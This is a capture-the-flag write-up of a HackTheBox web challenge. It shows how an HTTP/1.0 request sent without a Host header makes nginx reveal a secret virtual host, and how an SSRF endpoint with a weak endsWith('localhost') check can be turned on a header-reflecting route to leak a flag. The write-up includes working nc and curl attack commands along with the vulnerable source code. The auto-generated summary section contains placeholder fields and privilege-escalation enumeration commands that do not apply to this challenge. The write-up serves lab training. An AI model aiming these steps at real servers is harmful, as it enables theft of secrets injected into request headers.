Dusty Alleys
Dusty Alleys
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-19 | Status: Solved Techniques: http10_host_leak, nginx_vhost_discovery, server_name_fallback, ssrf_header_exfiltration
Summary
Task: Discover a hidden nginx vhost and exploit SSRF to exfiltrate the flag. Solution: Send an HTTP/1.0 request without Host header to /think, causing nginx to fall back to server_name as $host variable and leak the secret vhost domain, then use the /guardian SSRF endpoint to fetch /think with the flag injected in the Key header.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260219_hackthebox_dusty_alleys - Tags: ssrf, nginx, express, vhost_enumeration, http_protocol, header_reflection, node_fetch
- Indicators: nginx reverse proxy with multiple server blocks, unknown vhost/server_name, proxy_set_header Host $host, SSRF endpoint with hostname validation, header reflection endpoint
- Source:
20260219_hackthebox_dusty_alleys.md
Foothold
Vulnerability / Misconfiguration
- Http10_host_leak
- Nginx_vhost_discovery
- Server_name_fallback
- Ssrf_header_exfiltration
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- http10_host_leak
- nginx_vhost_discovery
- server_name_fallback
- ssrf_header_exfiltration
- Tags: ssrf, nginx, express, vhost_enumeration, http_protocol, header_reflection, node_fetch
Original Writeup
<details><summary>Click to expand original content</summary>Dusty Alleys — HackTheBox
Description
"In the dark, dusty underground labyrinth, the survivors feel lost and their resolve weakens. Just as despair sets in, they notice a faint light: a dilapidated, rusty robot emitting feeble sparks. Hoping for answers, they decide to engage with it."
Target: http://154.57.164.81:32496
Architecture
Two-layer setup:
- nginx (port 80) — reverse proxy with two virtual host server blocks:
alley.$SECRET_ALLEY(default_server) — serves static files at/, proxies/alleyand/thinkto Node.jsguardian.$SECRET_ALLEY— proxies/guardianto Node.js
- Node.js Express (port 1337) — backend with three routes:
GET /alley— renders index pageGET /think— returns all received request headers as JSON (header reflection)GET /guardian— SSRF endpoint: takesquoteURL parameter, validates hostname ends with "localhost", fetches URL with FLAG inKeyheader
Key Source: routes/guardian.js
router.get("/guardian", async (req, res) => {
const quote = req.query.quote;
if (!quote) return res.render("guardian");
try {
const location = new URL(quote);
const direction = location.hostname;
if (!direction.endsWith("localhost") && direction !== "localhost")
return res.send("guardian", { error: "You are forbidden from talking with me." });
} catch (error) {
return res.render("guardian", { error: "My brain circuits are mad." });
}
try {
let result = await node_fetch(quote, {
method: "GET",
headers: { Key: process.env.FLAG || "HTB{REDACTED}" },
}).then((res) => res.text());
res.set("Content-Type", "text/plain");
res.send(result);
} catch (e) {
return res.render("guardian", { error: "The words are lost in my circuits" });
}
});
Key Source: nginx default.conf
server {
listen 80 default_server;
server_name alley.$SECRET_ALLEY;
location / { root /var/www/html/; index index.html; }
location /alley { proxy_pass http://localhost:1337; proxy_set_header Host $host; ... }
location /think { proxy_pass http://localhost:1337; proxy_set_header Host $host; ... }
}
server {
listen 80;
server_name guardian.$SECRET_ALLEY;
location /guardian { proxy_pass http://localhost:1337; proxy_set_header Host $host; ... }
}
Analysis
The Two Problems
-
Vhost Discovery: The
/guardianSSRF endpoint is only accessible through theguardian.$SECRET_ALLEYvirtual host, but$SECRET_ALLEYis unknown (set at Docker build time viaENV SECRET_ALLEY=REDACTEDand substituted withsed). -
Flag Exfiltration: Even with access to
/guardian, we need to make the SSRF send a request that leaks theKeyheader containing the flag back to us.
Failed Approaches
- Brute-forcing vhost name with ffuf + subdomain wordlists — the domain was too unusual
- HTTP request smuggling (CL.TE, TE.CL, obfuscated TE) — nginx rejected all malformed requests
- Path traversal through
/alleyproxy (/alley/../guardian, encoded variants) — nginx normalized all paths before proxying - HTTP pipelining — nginx routes each pipelined request independently using the same Host
- WebSocket upgrade — Express didn't support it
The Key Insight: nginx $host Variable
The nginx config uses proxy_set_header Host $host;. The nginx $host variable resolves in this priority order:
- Hostname from the request line (for absolute-form URIs like
GET http://example.com/path) - The
Hostheader value - The
server_nameof the matching server block (fallback when neither of the above is available)
HTTP/1.0 does not require a Host header. When nginx receives an HTTP/1.0 request without a Host header, it matches the default_server block and falls back to using its server_name as the $host value — which it then forwards to the backend via proxy_set_header.
The /think endpoint reflects all received headers, so it will echo back the Host header that nginx set — revealing the full server_name including $SECRET_ALLEY.
Solution
Step 1: Leak SECRET_ALLEY via HTTP/1.0 Without Host Header
Send a raw HTTP/1.0 request to /think with no Host header:
printf 'GET /think HTTP/1.0\r\n\r\n' | nc 154.57.164.81 32496
Response:
{"host":"alley.firstalleyontheleft.com","x-real-ip":"...","x-forwarded-for":"...","x-forwarded-proto":"http","connection":"close"}
Result: SECRET_ALLEY = firstalleyontheleft.com, so the guardian vhost is guardian.firstalleyontheleft.com.
Step 2: SSRF via /guardian to Exfiltrate the Flag
With the vhost discovered, access /guardian with the correct Host header and exploit the SSRF to make the server fetch its own /think endpoint (which reflects all headers, including the injected Key header with the flag):
curl -H "Host: guardian.firstalleyontheleft.com" \ "http://154.57.164.81:32496/guardian?quote=http://localhost:1337/think"
The attack chain:
- Nginx matches the
guardian.firstalleyontheleft.comHost header to the second server block - The
/guardianroute receives the request withquote=http://localhost:1337/think - URL validation passes:
new URL("http://localhost:1337/think").hostnameis"localhost"which passesendsWith("localhost") node-fetchsendsGET http://localhost:1337/thinkwithheaders: { Key: FLAG }- The
/thinkendpoint reflects ALL received headers back as JSON — including the flag
Response:
{"key":"HTB{REDACTED}","accept":"*/*","user-agent":"node-fetch/1.0 (+https://github.com/bitinn/node-fetch)","accept-encoding":"gzip,deflate","connection":"close","host":"localhost:1337"}
Lessons Learned
- HTTP/1.0 is a powerful recon tool — it doesn't require a Host header, which can trigger fallback behavior in web servers that reveals configuration details (server names, internal hostnames)
- nginx
$hostfallback is a real vulnerability — when no Host header is present,$hostresolves to theserver_namedirective, potentially leaking secret vhost configurations - Header reflection + SSRF = full header exfiltration — if you can make the server fetch a URL you control (or an endpoint that echoes headers), you can steal any custom headers the server injects (API keys, flags, auth tokens)
endsWith()hostname validation is weak — it allows the exact string ("localhost") and any subdomain ending with it; always use strict equality or allowlists for hostname validation- Two-step attack chains — sometimes the real vulnerability is only accessible after solving a prerequisite problem (vhost discovery before SSRF exploitation)
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR